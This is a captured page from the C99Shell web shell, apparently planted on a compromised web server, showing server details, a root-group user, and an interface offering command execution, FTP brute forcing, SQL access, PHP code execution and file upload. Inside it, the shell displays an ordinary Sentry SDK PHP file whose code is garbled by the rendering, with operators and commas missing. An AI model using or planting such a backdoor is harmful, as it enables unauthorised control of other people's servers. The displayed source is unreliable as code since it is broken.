!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/sentry/sentry/src/Tracing/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TransactionContext.php (5.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Sentry\Tracing;

final class 
TransactionContext extends SpanContext
{
    private const 
TRACEPARENT_HEADER_REGEX '/^[ \\t]*(?<trace_id>[0-9a-f]{32})?-?(?<span_id>[0-9a-f]{16})?-?(?<sampled>[01])?[ \\t]*$/i';

    public const 
DEFAULT_NAME '<unlabeled transaction>';

    
/**
     * @var string Name of the transaction
     */
    
private $name;

    
/**
     * @var bool|null The parent's sampling decision
     */
    
private $parentSampled;

    
/**
     * @var TransactionMetadata The transaction metadata
     */
    
private $metadata;

    
/**
     * Constructor.
     *
     * @param string                   $name          The name of the transaction
     * @param bool|null                $parentSampled The parent's sampling decision
     * @param TransactionMetadata|null $metadata      The transaction metadata
     */
    
public function __construct(
        
string $name self::DEFAULT_NAME,
        ?
bool $parentSampled null,
        ?
TransactionMetadata $metadata null
    
) {
        
$this->name $name;
        
$this->parentSampled $parentSampled;
        
$this->metadata $metadata ?? new TransactionMetadata();
    }

    
/**
     * Gets the name of the transaction.
     */
    
public function getName(): string
    
{
        return 
$this->name;
    }

    
/**
     * Sets the name of the transaction.
     *
     * @param string $name The name
     */
    
public function setName(string $name): void
    
{
        
$this->name $name;
    }

    
/**
     * Gets the parent's sampling decision.
     */
    
public function getParentSampled(): ?bool
    
{
        return 
$this->parentSampled;
    }

    
/**
     * Sets the parent's sampling decision.
     *
     * @param bool|null $parentSampled The decision
     */
    
public function setParentSampled(?bool $parentSampled): void
    
{
        
$this->parentSampled $parentSampled;
    }

    
/**
     * Gets the transaction metadata.
     */
    
public function getMetadata(): TransactionMetadata
    
{
        return 
$this->metadata;
    }

    
/**
     * Sets the transaction metadata.
     *
     * @param TransactionMetadata $metadata The transaction metadata
     */
    
public function setMetadata(TransactionMetadata $metadata): void
    
{
        
$this->metadata $metadata;
    }

    
/**
     * Sets the transaction source.
     *
     * @param TransactionSource $transactionSource The transaction source
     */
    
public function setSource(TransactionSource $transactionSource): void
    
{
        
$this->metadata->setSource($transactionSource);
    }

    
/**
     * Returns a context populated with the data of the given header.
     *
     * @param string $header The sentry-trace header from the request
     *
     * @deprecated since version 3.9, to be removed in 4.0
     */
    
public static function fromSentryTrace(string $header): self
    
{
        
$context = new self();

        if (!
preg_match(self::TRACEPARENT_HEADER_REGEX$header$matches)) {
            return 
$context;
        }

        if (!empty(
$matches['trace_id'])) {
            
$context->traceId = new TraceId($matches['trace_id']);
        }

        if (!empty(
$matches['span_id'])) {
            
$context->parentSpanId = new SpanId($matches['span_id']);
        }

        if (isset(
$matches['sampled'])) {
            
$context->parentSampled '1' === $matches['sampled'];
        }

        return 
$context;
    }

    
/**
     * Returns a context populated with the data of the given environment variables.
     *
     * @param string $sentryTrace The sentry-trace value from the environment
     * @param string $baggage     The baggage header value from the environment
     */
    
public static function fromEnvironment(string $sentryTracestring $baggage): self
    
{
        return 
self::parseTraceAndBaggage($sentryTrace$baggage);
    }

    
/**
     * Returns a context populated with the data of the given headers.
     *
     * @param string $sentryTraceHeader The sentry-trace header from an incoming request
     * @param string $baggageHeader     The baggage header from an incoming request
     */
    
public static function fromHeaders(string $sentryTraceHeaderstring $baggageHeader): self
    
{
        return 
self::parseTraceAndBaggage($sentryTraceHeader$baggageHeader);
    }

    private static function 
parseTraceAndBaggage(string $sentryTracestring $baggage): self
    
{
        
$context = new self();
        
$hasSentryTrace false;

        if (
preg_match(self::TRACEPARENT_HEADER_REGEX$sentryTrace$matches)) {
            if (!empty(
$matches['trace_id'])) {
                
$context->traceId = new TraceId($matches['trace_id']);
                
$hasSentryTrace true;
            }

            if (!empty(
$matches['span_id'])) {
                
$context->parentSpanId = new SpanId($matches['span_id']);
                
$hasSentryTrace true;
            }

            if (isset(
$matches['sampled'])) {
                
$context->parentSampled '1' === $matches['sampled'];
                
$hasSentryTrace true;
            }
        }

        
$samplingContext DynamicSamplingContext::fromHeader($baggage);

        if (
$hasSentryTrace && !$samplingContext->hasEntries()) {
            
// The request comes from an old SDK which does not support Dynamic Sampling.
            // Propagate the Dynamic Sampling Context as is, but frozen, even without sentry-* entries.
            
$samplingContext->freeze();
            
$context->getMetadata()->setDynamicSamplingContext($samplingContext);
        }

        if (
$hasSentryTrace && $samplingContext->hasEntries()) {
            
// The baggage header contains Dynamic Sampling Context data from an upstream SDK.
            // Propagate this Dynamic Sampling Context.
            
$context->getMetadata()->setDynamicSamplingContext($samplingContext);
        }

        return 
$context;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--